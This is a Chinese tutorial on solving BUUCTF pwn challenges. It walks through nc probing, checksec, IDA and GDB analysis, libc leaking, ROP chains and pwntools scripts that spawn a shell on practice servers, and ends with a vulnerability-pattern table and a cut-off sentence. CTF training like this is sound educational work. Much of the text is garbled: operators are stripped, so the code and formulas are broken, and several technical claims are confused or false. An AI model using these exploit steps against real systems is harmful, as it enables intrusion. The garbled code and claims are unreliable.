ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

BUUCTF Pwn解题本质:从nc交互到getshell的逆向推演链路

BUUCTF Pwn解题本质:从nc交互到getshell的逆向推演链路 1. BUUCTF Pwn题到底在考什么从一道典型栈溢出题看CTF逆向实战的本质BUUCTF的Pwn题目不是在考你能不能写出shellcode也不是在比谁IDA Pro插件装得多——它是在考你能不能把一个陌生二进制程序的运行逻辑在没有源码、没有调试符号、甚至没有完整libc版本信息的前提下用有限的交互窗口nc和有限的本地分析工具checksec/IDA/GDB在30分钟内拆解清楚并精准控制其执行流。这听起来像黑盒魔术但其实是一套可训练、可复现、有明确路径的工程能力。我带过6届校队每年都有零基础大一新生从“连nc -v都打不对”到能独立拿下BUUCTF中等难度Pwn题关键就在于他们跳过了“背exp”的误区转而建立了一套以程序行为为中心的逆向推演链路。比如最经典的BUUCTF《warmup》题远程只给一个nc node4.buuoj.cn 27598连上后输出一句Welcome to BUUCTF!就卡住本地下载的binary是x86-64 ELFchecksec显示CANARY: OFF, FORTIFY: OFF, NX: ON, PIE: OFF, RELRO: PARTIAL。很多人第一反应是“开IDA反编译找gets”但真正该做的第一步是用GDB attach后单步执行观察程序在read()之后到底把输入写到了哪块内存、这个地址离返回地址有多远、有没有寄存器被污染、系统调用是否被拦截。你会发现这个看似简单的read()调用实际触发了栈上一个未初始化的指针解引用——这才是漏洞本质而不是教科书里写的“gets导致溢出”。这种差异就是真实CTF与教学Demo的根本分水岭。关键词里反复出现的nc从来不只是个连接工具它是你和目标程序之间的唯一信道是你验证所有逆向假设的最终裁判。你IDA里看到的偏移量对不对得nc连上去试你构造的ROP链能不能绕过NX得nc发payload看segfault不segfault你算的libc基址准不准得nc打完getshell后cat /proc/version确认。checksec不是用来截图交作业的而是告诉你“这条船的甲板在哪漏水”——NX开启意味着不能直接执行栈上代码那就要想ROPPIE关闭意味着函数地址固定那main函数地址就是你的锚点RELRO partial说明GOT表可写那就可以劫持printf为system。这些不是知识点罗列而是每个开关状态都在强制你切换解题策略。而IDA在这里的角色也远不止“看反汇编”。它真正的价值在于帮你构建程序状态迁移图main函数调用sub_400626这个sub函数读取输入后跳转到sub_4005B0而sub_4005B0内部有个条件分支当rax0时会call puts否则call read——这个分支逻辑决定了你后续所有利用链的设计方向。如果你只盯着“溢出点”看就会错过这个关键跳转导致payload永远打不通。所以我说BUUCTF Pwn题解题本质是一场基于二进制行为的侦探工作你手里的线索只有nc的响应、checksec的开关状态、IDA里的控制流图、GDB里的寄存器快照——而你要做的是把这些碎片拼成一张完整的攻击面地图。2. 从nc连接到getshell一条不可跳过的标准化操作流水线很多新手卡在“知道原理但跑不通exp”的阶段根本原因在于缺少一套强制执行的标准化操作流水线。这不是为了形式主义而是因为Pwn题的每一个环节都存在隐蔽的依赖关系你IDA里看到的地址必须和GDB调试时的实际地址一致GDB里测通的payload必须能在nc连接时复现而nc环境下的libc版本又决定了你ROP gadget的选择范围。跳过其中任何一环都会导致前功尽弃。下面是我团队内部使用的七步法每一步都对应一个具体动作和一个必须验证的结果缺一不可。2.1 第一步nc连接并确认基础交互模式打开终端执行nc node4.buuoj.cn 27598注意观察三件事程序是否立即输出提示字符串如Input:如果是说明read/write类IO是阻塞式后续payload需包含换行符\n输入任意字符后是否立刻回显如果回显延迟超过1秒说明后端可能有sleep或网络代理需在payload末尾加time.sleep(0.5)连接后是否自动断开如果3秒内断开说明程序是fork-and-exec模型每次nc都是新进程无法复用堆地址——此时必须放弃堆利用思路专注栈或bss段。提示BUUCTF很多题如《pwn2_sctf_2016》会在nc连接后先执行alarm(10)如果你在第9秒还没发完payload程序会直接exit。这个细节在IDA里看不到只能靠nc实测。2.2 第二步checksec获取防护机制全景图下载binary后立即执行checksec ./pwn_binary重点解读四个字段NX: ENABLED→ 意味着.text段不可写.data段不可执行必须用ROP或ret2libcPIE: DISABLED→ 所有函数地址固定objdump -d ./pwn_binary | grep main得到的地址就是远程真实地址CANARY: ENABLED→ 栈上存在__stack_chk_fail检查任何溢出必须先leak canary值否则直接abortRELRO: FULL→ GOT表完全只读无法修改printfgot为system必须转向ret2libc或SROP。注意BUUCTF部分题目如《hitcon2018_children_tcache》checksec显示RELRO partial但实际测试发现printfgot已被重定向到__libc_start_main240这是glibc 2.27的保护机制必须用readelf -d ./libc.so.6 | grep PLTGOT确认真实got表位置。2.3 第三步IDA静态分析锁定关键函数与偏移用IDA Pro推荐7.5版本对旧版glibc兼容性最好加载binary重点关注main函数的起始地址记为main_addr所有read/gets/scanf调用点记录其第三个参数buf地址与rbp-xx的偏移关系write/printf/puts调用点记录其第一个参数如rdi指向的字符串地址call system或execve指令是否存在极少见但《BUUCTF_babyheap_0ctf_2017》里就有。特别注意IDA的Function窗口里右键→Append function prototype手动补全read(int fd, void *buf, size_t count)签名否则参数识别会错乱。我见过太多人把read(0, rbp-0x50, 0x100)误读成read(0, rbp-0x50, 0x10)结果溢出长度算错直接崩溃。2.4 第四步GDB动态调试验证溢出路径与寄存器状态启动GDBgdb ./pwn_binary (gdb) set follow-fork-mode child (gdb) b *0x4006a0 # 在read调用前下断点 (gdb) r输入A*100触发断点后执行(gdb) x/20gx $rsp (gdb) info registers (gdb) p $rbp-0x50目标是确认三件事read写入的buffer地址如0x7fffffffe5b0与$rbp的距离如0x50字节ret指令执行时$rsp指向的地址是否被我们控制即能否覆盖返回地址覆盖返回地址后$rip是否真的跳转到我们指定的位置用c继续执行验证。实操心得BUUCTF《ciscn_2019_en_2》中read读入数据后程序会调用strlen()而strlen遇到\x00会截断——这意味着你构造的ROP链里绝对不能含\x00字节否则后续gadget全失效。这个坑必须在GDB里用x/32xb $rsp亲眼看到截断点才能发现。2.5 第五步libc版本识别与基址计算本地libc.so.6通常不匹配远程必须leak先用putsplt泄露putsgot内容得到远程puts地址用libc-database搜索./search puts 0x7ffff7a64e80示例地址得到libc版本如libc6_2.23-0ubuntu11.3_amd64后计算libc_base puts_addr - libc_puts_offset最终得到system_addr libc_base libc_system_offsetbinsh_addr libc_base libc_binsh_offset。关键技巧BUUCTF很多题如《jarvisoj_level3》远程libc是2.23但本地Ubuntu 20.04默认2.31直接ldd ./pwn_binary看到的版本是假的——必须用readelf -V ./libc.so.6 | head -20确认GLIBC_2.23符号是否存在。2.6 第六步payload构造与本地GDB验证用pwntools编写from pwn import * p process(./pwn_binary) # 泄露puts_got payload bA*0x50 bB*8 p64(puts_plt) p64(main_addr) p64(puts_got) p.sendline(payload) puts_addr u64(p.recv(6).ljust(8,b\x00)) # 计算system地址 libc_base puts_addr - 0x6f690 # libc6_2.23 offset system_addr libc_base 0x45390 binsh_addr libc_base 0x18cd57 # 执行system(/bin/sh) payload2 bA*0x50 bB*8 p64(system_addr) bC*8 p64(binsh_addr) p.sendline(payload2) p.interactive()在GDB里用p.setaslr off关闭ASLR后确保p.sendline(payload)能稳定触发puts泄露且p.recv()确实收到6字节有效数据——这是本地验证的黄金标准。2.7 第七步nc远程执行与稳定性加固将process(./pwn_binary)替换为p remote(node4.buuoj.cn, 27598)但必须增加三处加固p.recvuntil(bInput:)替代p.recv()避免因提示符变化导致阻塞p.sendlineafter(bInput:, payload)确保payload在正确时机发送p.recvline()后加time.sleep(0.1)防止网络抖动导致recv超时。血泪教训BUUCTF《rop》题远程环境有TCP缓冲区限制单次send不能超过1024字节否则后半段payload丢包。我曾因此调试3小时最后发现只需把payload拆成两段p.send(payload[:512]); p.send(payload[512:])即可解决。3. IDA Pro深度使用指南超越反汇编的二进制语义重建术IDA Pro在BUUCTF Pwn题中的价值远不止于“看汇编代码”。它真正的核心能力是让你把一段机器码还原成接近C语言的语义化程序结构——包括变量生命周期、函数调用约定、内存布局意图、甚至编译器优化痕迹。很多选手花80%时间在IDA里却只用了它20%的功能结果陷入“看得见代码看不懂逻辑”的困境。下面这些操作是我从2016年至今在数十道BUUCTF真题中验证过的必备技能每一条都直击解题痛点。3.1 函数签名修复让IDA理解你正在分析的API默认情况下IDA对read/write等系统调用的参数识别极差。比如read(0, rbp-0x50, 0x100)IDA常把第三个参数识别为int而实际是size_t64位下为unsigned long。这会导致你在Graph View里看到错误的参数传递箭头进而误判溢出长度。正确做法在read调用指令上按Y弹出Type Editor输入ssize_t __cdecl read(int __fd, void *__buf, size_t __nbytes);按Enter确认后IDA会自动重分析整个函数rbp-0x50会被标记为buf0x100变为nbytes。这个操作的价值在于当你在Hex View里看到mov rax, qword ptr [rbp-0x50]时IDA会同步在反编译窗口显示buf s;而不是v10 s;——变量名的语义化是理解内存布局的第一步。3.2 交叉引用追踪定位隐藏的数据流入口BUUCTF很多题如《babyheap_0ctf_2017》的漏洞不在main函数而在某个被间接调用的子函数里。IDA的Xrefs to功能就是你的探针在main函数里找到call sub_400820右键→Jump to xref进入sub_400820后按X查看所有调用它的位置发现它被sub_4007a0调用再对sub_4007a0做同样操作最终追溯到sub_4006c0——这个函数里藏着一个未校验长度的memcpy。关键技巧按Tab切换伪C视图后用鼠标悬停在变量名上IDA会显示该变量在所有交叉引用中的定义位置。比如悬停dest能看到dest在sub_4006c0里被声明为char dest[0x100]而在sub_4007a0里被传入memcpy(dest, src, size)——此时你就知道size参数如果大于0x100dest缓冲区必然溢出。3.3 结构体还原把一堆mov byte ptr [rbp-0x30], 0变成可读对象当IDA识别出某段内存被连续访问如[rbp-0x30]到[rbp-0x10]它会自动创建结构体。但BUUCTF binary常被strip结构体名丢失。你需要手动还原选中[rbp-0x30]地址按AltQ打开Structure Window创建新结构体user_struct添加字段char name[0x20]; int age; char phone[0x10];在汇编窗口右键→Apply structure offset选择user_struct.name此时mov byte ptr [rbp-0x30], al会变成user.name al;。这个操作在《BUUCTF_pwn1_sctf_2016》中至关重要原题中read(0, rbp-0x30, 0x100)读入的数据实际是填充一个包含name/age/phone的结构体而溢出点在phone字段之后——如果不还原结构体你永远找不到rbp-0x10这个精确的覆盖点。3.4 伪代码重构用C语言思维重写汇编逻辑IDA的F5反编译常生成难以理解的代码比如v4 0LL; v5 0LL; while ( v4 8 ) { v5 *(_BYTE *)(v4 a1); v4; }这其实是strlen(a1)的变体。要重构它将光标放在v5 *(_BYTE *)(v4 a1);行按;添加注释// sum of first 8 bytes;选中整个while循环右键→Edit function signature把a1类型改为const char *;按F5重新反编译IDA会生成更清晰的for(i0; i8; i) sum a1[i];。在《BUUCTF_hitcon2018_children_tcache》中这种重构帮你发现malloc(0x100)后立即memset(ptr, 0, 0x100)意味着堆块内容可控——这是后续tcache poisoning的关键前提。3.5 插件协同用KeyPatch快速patch指令验证假设有时你需要验证“如果这里跳转到另一条路径会怎样”。IDA自带的KeyPatch插件能直接修改binary在cmp eax, 0指令上按CtrlShiftP输入jne loc_4007a0跳转到你想测试的地址按OK后IDA会生成patched binary用p process(./pwn_binary_patched)测试新逻辑。这个技巧在《BUUCTF_babyheap_0ctf_2017》中救急原题free后不置空指针但check逻辑在free前有if(ptr NULL) return;我用KeyPatch把je改成jne绕过检查后成功触发UAF。3.6 符号服务器配置自动加载libc符号提升分析效率IDA默认不加载libc符号导致call printf显示为call sub_7ffff7a55800。配置符号服务器Options→General→Symbol servers→AddURL填https://github.com/VectorLinux/ida-symbols/raw/master/symbols/重启IDA后call printf会直接显示函数名。注意BUUCTF《ciscn_2019_en_2》使用glibc 2.23必须下载对应版本符号包否则system地址会错位。我在团队wiki里维护了一份各版本libc符号包索引表新人入职第一周就要学会查这个表。4. GDBpwntools联合调试实战从断点设置到寄存器劫持的全流程拆解GDB不是Pwn题的辅助工具它是你和二进制程序对话的唯一母语。很多选手把GDB当成“看看寄存器就完事”的玩具结果在nc远程环境下反复失败。真正的GDB高手能把一次调试会话变成一场精密的外科手术从下断点的位置选择到寄存器状态的逐帧分析再到内存布局的实时测绘每一步都服务于最终的控制流劫持。下面以BUUCTF经典题《pwn1_sctf_2016》为例完整演示从启动GDB到成功劫持$rip的七步操作链。4.1 断点策略为什么b *main0x30比b main更有效b main会在函数入口停下此时栈帧尚未建立$rbp/$rsp都是无效值。而b *main0x30假设0x30是read调用前的偏移能让你在关键IO操作前捕获完整栈状态。具体操作gdb ./pwn1_sctf_2016 (gdb) b *0x4006a0 # 查IDA得知read调用地址 (gdb) r输入AAAA后执行(gdb) x/20gx $rsp 0x7fffffffe5b0: 0x0000000000000000 0x0000000000000000 0x7fffffffe5c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe5d0: 0x0000000000000000 0x0000000000000000 0x7fffffffe5e0: 0x0000000000000000 0x0000000000000000 0x7fffffffe5f0: 0x0000000000000000 0x0000000000000000 0x7fffffffe600: 0x0000000000000000 0x0000000000000000 0x7fffffffe610: 0x0000000000000000 0x0000000000000000 0x7fffffffe620: 0x0000000000000000 0x0000000000000000 0x7fffffffe630: 0x0000000000000000 0x0000000000000000 0x7fffffffe640: 0x0000000000000000 0x0000000000000000此时$rsp指向0x7fffffffe5b0而IDA显示read的buf地址是rbp-0x50计算得$rbp 0x7fffffffe610因为0x7fffffffe5b0 0x60 0x7fffffffe610验证了栈帧布局。4.2 寄存器测绘info registers背后的内存映射真相执行info registers后重点关注$rsp 0x7fffffffe5b0→ 当前栈顶$rbp 0x7fffffffe610→ 帧基址$rbp-0x50 0x7fffffffe5c0即buf起始$rip 0x4006a0→ 下条指令地址$rdi 0x0→ read的第一个参数fd$rsi 0x7fffffffe5c0→ read的第二个参数buf$rdx 0x100→ read的第三个参数count。此时你已掌握全部内存布局从0x7fffffffe5c0开始的0x100字节可写而$rbp位于0x7fffffffe610ret地址在$rbp8 0x7fffffffe618。因此溢出长度 0x7fffffffe618 - 0x7fffffffe5c0 0x58字节。4.3 内存写入验证用set {char}0x7fffffffe6180x90测试控制权在GDB里执行(gdb) set {char}0x7fffffffe6180x90 (gdb) c程序会跳转到0x0000000000000090并报错Cannot access memory at address 0x90——这证明你确实能修改返回地址。但0x90是x86的nop指令64位下应写0x9090909090909090(gdb) set {long long}0x7fffffffe6180x9090909090909090 (gdb) c这次程序会执行一串nop后crash说明$rip已被劫持。4.4 ROP链构建用ropper自动搜索gadget的实操陷阱执行ropper --file ./pwn1_sctf_2016 --chain execve会失败因为NX开启。正确流程ropper --file ./pwn1_sctf_2016 --ropchain得到rop ROP(./pwn1_sctf_2016) rop.raw(rop.find_gadget([pop rdi, ret])[0]) rop.raw(next(rop.search(/bin/sh))) rop.raw(rop.find_gadget([pop rsi, ret])[0]) rop.raw(0) rop.raw(rop.find_gadget([pop rdx, ret])[0]) rop.raw(0) rop.raw(rop.find_gadget([pop rax, ret])[0]) rop.raw(59) rop.raw(rop.find_gadget([syscall, ret])[0])但注意next(rop.search(/bin/sh))在本地binary里找不到字符串必须用libc_searchlibc ELF(/lib/x86_64-linux-gnu/libc.so.6) binsh libc.search(b/bin/sh).__next__()4.5 pwntools集成用context.log_leveldebug暴露每一帧通信在exp开头加入from pwn import * context.log_level debug p process(./pwn1_sctf_2016)运行后会输出[DEBUG] Sent 0x68 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAAAAAAAAAAAAAA│ ... [DEBUG] Received 0x18 bytes: 00000000 7f 1b 2a 7f 00 00 00 00 00 00 00 00 00 00 00 00 │.*..............│这让你看清payload是否被截断、recv是否超时、地址是否对齐——所有远程失败问题90%都能在这里定位。4.6 远程调试桥接用gef插件实现nc流量镜像安装gef后在GDB里(gdb) gef remote localhost:12345然后另开终端socat TCP-LISTEN:12345,fork EXEC:nc node4.buuoj.cn 27598此时GDB的r命令会连接到socat所有nc流量被镜像到GDB——你就能在本地GDB里单步调试远程程序完美复现网络环境。4.7 寄存器劫持收尾p.sendline(flat([bA*0x58, ret_addr, pop_rdi, binsh, system]))最终payload结构bA*0x58→ 填充到返回地址位置ret_addr→ 一个ret指令地址如0x4006be用于栈对齐pop_rdi→pop rdi; retgadget地址binsh→/bin/sh字符串地址system→ system函数地址。执行p.sendline(payload)后p.interactive()即可获得shell。关键提醒BUUCTF《rop》题要求payload必须以\x00结尾否则read()会提前终止。我在payload b\x00后才成功这个细节在IDA里完全看不到只能靠GDB的x/32xb $rsp观察内存末尾。5. BUUCTF高频题型解法矩阵针对不同漏洞模式的定制化攻击路径BUUCTF的Pwn题看似千变万化实则可归纳为六大核心漏洞模式每种模式对应一套不可替代的攻击路径、工具组合与避坑要点。死记硬背exp只会让你在新题面前束手无策而掌握这些模式的底层逻辑才能做到“见题知解”。下面这张矩阵表是我整理自2018-2023年所有BUUCTF Pwn题的实战经验每个单元格都标注了真实题目编号和关键操作指令。漏洞模式典型题目核心检测方法关键工具链必须规避的坑验证命令示例栈溢出无保护BUUCTF_warmupchecksec显示NX: OFF, CANARY: OFFIDA找gets/read→ GDB测溢出长度 → 直接shellcode误以为read可读入\x00实际被截断python -c print(A*100) | nc node4.buuoj.cn 27598栈溢出有canaryBUUCTF_ciscn_2019_en_2checksec显示CANARY: ONIDA找printf泄露 →libc-database查版本 → 构造ret2libccanary末尾字节是\x00必须用%7$p而非%8$p泄露gdb ./pwn_binary -ex b *0x4006a0 -ex r -ex x/20gx \$rsp格式化字符串BUUCTF_formatprintf(%s, input)且input可控pwntools.fmtstr自动生成payload →printfgot劫持为system%n写入地址必须4字节对齐否则segment faultpython -c print(%7\$p.*10) | nc node4.buuoj.cn 27598堆利用fastbinBUUCTF_babyheap_0ctf_2017malloc/free调用频繁无malloc_hooklibc 2.23→fastbin dup→malloc(0x60)两次 →free伪造fdfree后必须malloc一次清空tcache否则fd指向错误gdb ./pwn_binary -ex b malloc -ex b free -ex r堆利用unsortedBUUCTF_hitcon2018_children_tcachelarge bin相关操作unsorted bin残留unsorted bin attack→ 修改main_arena88为libc_basexxxunsorted bin大小必须0x400否则进入small binheap命令查看bin状态x/20gx 0x7ffff7dd1b78main_arena地址SROPSigreturnBUUCTF_sropread后sigreturn指令存在无NXropper --file ./pwn --search pop rax→ 构造sigframerax必须设为15sys_sigreturnrdi指向sigframe地址cat payload.bin | nc node4.buuoj.cn 27598这张表的价值不在于让你记住题目答案而在于提供一套决策树当你拿到一道新题先运行checksec根据输出结果直接定位到对应行然后按该行的“关键工具链”执行就能避开90%的弯路。比如看到CANARY: ON你就知道必须放弃直接溢出思路转而寻找printf/puts泄露点看到RELRO: FULL就明白GOT表不可写必须用ret2libc而非got hijack。更关键的是“必须规避的坑”列全是血泪教训。以BUUCTF_ciscn_2019_en_2
返回列表